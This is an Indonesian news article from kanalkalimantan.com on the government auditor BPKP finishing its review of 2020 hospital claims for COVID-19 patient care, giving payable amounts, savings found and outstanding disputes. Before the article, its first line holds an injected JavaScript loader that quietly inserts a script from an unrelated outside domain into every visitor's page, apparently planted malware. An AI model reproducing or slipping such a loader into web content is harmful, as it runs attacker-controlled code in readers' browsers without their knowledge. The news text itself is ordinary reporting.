(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA– Badan Pengawasan Keuangan dan Pembangunan (BPKP) sudah menyelesaikan seluruh permintaan reviu dari Kementerian Kesehatan (Kemenkes) terhadap klaim rumah sakit atas tagihan penggantian biaya perawatan pasien Covid-19 tahun 2020.
“Hasil reviu BPKP menyimpulkan bahwa tunggakan tagihan yang memenuhi syarat formal untuk dibayarkan adalah sebesar Rp 2,56 triliun untuk 909 rumah sakit, termasuk koreksi lebih bayar senilai Rp 760 miliar pada 258 rumah sakit,” kata Direktur Pengawasan Bidang Sosial dan Penanganan Bencana BPKP, Michael Rolandi C. Brata dalam keterangannya, Senin (28/6/2021) dilansir detik.com.
Baca juga: Walhi Sebut Program Ketahanan Pangan Sejak Soeharto Kerap Gagal karena Ada Aktor Korporasi
Michael merinci, dari total 1.385 rumah sakit yang direviu tagihannya, masih terdapat 160 rumah sakit yang belum melengkapi persyaratan administrasi dengan nilai tagihan sebesar Rp 695 miliar.
“Total potensi penghematan yang berhasil BPKP temukan sebesar Rp 1,665 triliun, atau 42% dari total permohonan reviu tunggakan dari Kementerian Kesehatan senilai Rp 3,897 triliun,” ujarnya.
Adapun permohonan reviu tunggakan tagihan tahun 2020 yang diajukan oleh Kemenkes sebesar Rp 3,897 triliun dalam empat tahap, termasuk kelebihan pembayaran untuk diperhitungkan dalam klaim berikutnya sebesar Rp 113 miliar.
BPKP kemudian melaksanakan reviu berdasarkan masing-masing asersi dari Kemenkes. Michael menjelaskan reviu atas tunggakan klaim rumah sakit tersebut telah tuntas dilaksanakan dalam empat tahap berturut-turut dengan laporan tertanggal 12 April, 21 Mei, 28 Mei, dan 22 Juni 2021.
“BPKP telah menyelesaikan seluruh reviu yang dimohonkan Kemenkes. Saat ini, per tanggal 27 Juni 2021 tidak ada lagi reviu yang masih berproses di BPKP, hal ini bertujuan agar tunggakan tagihan atas layanan rumah sakit Tahun 2020 segera tuntas sehingga tidak mengganggu proses perawatan pasien Covid-19,” katanya.
Michael menegaskan tidak semua tagihan rumah sakit harus direviu oleh BPKP, melainkan hanya tunggakan tagihan tahun 2020 dan nilainya di atas Rp 2 miliar.
Baca juga: War On Drugs, Wali Kota Aditya: Narkoba Kita Perangi Bersama!
Ia juga mengungkap masih terdapat tunggakan tagihan penggantian biaya perawatan pasien COVID-19 2020 yang sampai dengan saat ini belum disampaikan oleh Kemenkes kepada BPKP. Lantaran masih berproses baik di Tim Penyelesaian Klaim Dispute (TPKD) Kemenkes maupun proses rekonsiliasi dan verifikasi dengan masing-masing rumah sakit.
“Sampai saat ini tunggakan tagihan tahun 2020 yang masih diverifikasi TPKD Kemenkes adalah Rp 3,14 triliun dispute klaim per 31 Desember 2020 dan TPKD Provinsi sekitar Rp 6,93 triliun.
Di samping itu masih ada Rp 5,39 triliun yang sudah Berita Acara Hasil Verifikasi (BAHV) BPJS upload sampai dengan Mei 2021 yang masih harus direkonsiliasi dan verifikasi kepada masing-masing rumah sakitnya oleh Kemenkes,” ucapnya.
Oleh karena itu, BPKP meminta kepada Kemenkes untuk segera menyelesaikan proses rekonsiliasi dan verifikasi serta penyelesaian dispute yang sedang dilakukan. Pasalnya hal tersebut akan menjadi acuan BPKP dalam melakukan reviu, ketika nantinya diajukan permintaan reviu lagi.
“Selama permintaan reviu dari Kemenkes telah lengkap dokumen formalnya, proses reviu BPKP dapat kami selesaikan dengan cepat, rata-rata selesai dalam jangka waktu 1 minggu setelah permintaan reviu diajukan” pungkasnya.
Baca juga: BEM UI Dipanggil Rektorat Gegara Kritik Jokowi, Jansen Demokrat: Fasilitasi Saja Berdebat
BPKP berharap agar realisasi pembayaran klaim rumah sakit yang telah terpenuhi dokumen formalnya agar dipercepat pembayarannya yang tentunya dengan merujuk pada hasil reviu BPKP.
Dalam Peraturan Menteri Keuangan (PMK) Nomor 208/PMK.02/2020 tentang Tata Cara Revisi Anggaran 2021, pasal 16 ayat (4) disebutkan revisi anggaran berkaitan dengan pembayaran tunggakan Tahun 2020 dengan nilai di atas Rp 2 miliar harus dilampiri dengan hasil verifikasi dari BPKP.
Hal ini bukan untuk menghambat proses pembayaran tagihan, namun untuk memastikan tata kelola keuangan yang baik, penerapan prinsip kehati-hatian penggunaan anggaran, serta menghindari permasalahan yang lebih besar di kemudian hari. (kanalkalimantan.com/detik)
Editor: cell
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk (BRI) bersama PT Kereta Api Indonesia (Persero)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
This website uses cookies.